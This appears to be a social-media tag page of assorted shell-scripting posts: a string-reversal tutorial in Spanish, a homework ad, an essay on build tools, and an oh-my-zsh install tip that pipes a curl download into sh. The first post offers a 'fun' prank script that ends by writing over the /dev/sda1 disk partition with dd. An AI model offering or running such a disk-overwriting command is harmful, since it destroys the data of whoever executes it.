#shell scripts

[jkresearch]

[auroroboros1]

A fun little shell script I wrote (do not run as root you have been warned)

\#!/bin/sh

echo "#include <stdio.h>">tmp.c echo "int main(int argc,char** argv){FILE* o;FILE* n;char c;o=fopen(argv[1],\"r+\");n=fopen(\"tmp\",\"w+\");while(!feof(o)){c=(char)fgetc(o);switch(c){case 'u':c='v';break;case 'U':c='V';break;case 'w':c='v';break;case 'W':c='V';break;case 'j':c='i';break;case 'J':c='I';break;case 'k':c='c';break;case 'K':c='C';break;}fputc(c,n);}return 1;}" >>tmp.c gcc -o tmp tmp.c&&./tmp /bin/sh&&dd if=temp of=/dev/sda1

[oldmacnewlife]

[captainmootiny]

Oh-My-ZSH

It really is better than bash, some what.

Oh-my-zsh is a great framework for using ZSH. As a general rule, I tend not to use it as root. However, when I do run root, I use oh-my-zsh.

sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"

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[donnierock]

Distintas formas de invertir una cadena de texto en Linux.

Distintas formas de invertir una cadena de texto en Linux.

Vamos a hablar un poco más sobre programar scripts en Linux y veamos cómo podemos invertir una cadena con distintos métodos:

Empezamos con lo más sencillo, usar la función rev:

echo holiii | rev

Usando el comando sed dos veces, junto con tac, también podemos hacerlo:

echo holiii | sed 's/./&\n/g' | tac | sed -e :a -e 'N;s/\n//g;ta'

Ya os podéis imaginar que si podemos hacerlo con sedes que…

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[solvemyquestion]

Write shell Scripts for System Administration Tasks

Write shell Scripts for System Administration Tasks for $29 Only

Write shell scripts to accomplish the following system administration tasks:

MyExecutables: List all the executable files in the current working directory.

MyFiles <username> <directory>: Check the following attributes of a file in the specified directory:

Read permission

Write permission

Execute permission

Ordinary or special file

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[dragoni]

tl;dr go directly to the Round Up. Hope the next version includes Webpack.

A "Build tool" is a catch-all term that refers to anything that is needed to get a piece of software set up, but isn't needed after that. Different programming communities have a wealth of different tools: some use stalwarts like make, some use loose collections of.sh scripts, some use XML-based tools like Maven or Ant, JSON-based tools like Grunt, or code-based tools like Gulp, Grunt or SBT.

Each of these tools does different things and has a different set of trade-offs associated with them. Given all these different designs, and different things each tool does, what are the common features that build tools provide that people want? How to existing tools stack up against the things that people want build tools to do?

This post will go through some common use cases for build tools, pick out and discuss common features, see which boxes existing tools check, and discuss their strengths and weaknesses. Hopefully in the process, you'll get a good sense of what the frankenstein "essence" of a build tool really is, and if you ever decide to go and write your own you'll be well prepared.

I am not an expert in all the tools presented here, so if there are mistakes anywhere in this post, feel free to post a correction in the comments and I'll update the post accordingly!

Use Cases for Build Tools

Production Deployment

Continuous Integration

Developer Environments

Common Features In Build Tools

Running ad-hoc commands

Knowing how to order the execution of commands based on dependencies

Caching command output if its inputs don't change

Parallelize different commands

Watch for file-changes and running commands based on them

Using external processes, including compilers

Being used by external processes

Allowing configuration, re-configuration, re-re-configuration

Download dependencies

Analyzing Build Tools

Shell Scripts

Make

Ant

Maven

Rake

Grunt

Gulp

SBT

davidpronk

After reading this article on NPM as a build tool I immediately gave up on Gulp and Grunt. Highly recommended! http://blog.keithcirkel.co.uk/how-to-use-npm-as-a-build-tool... 

[riebart]

Wanna ! ?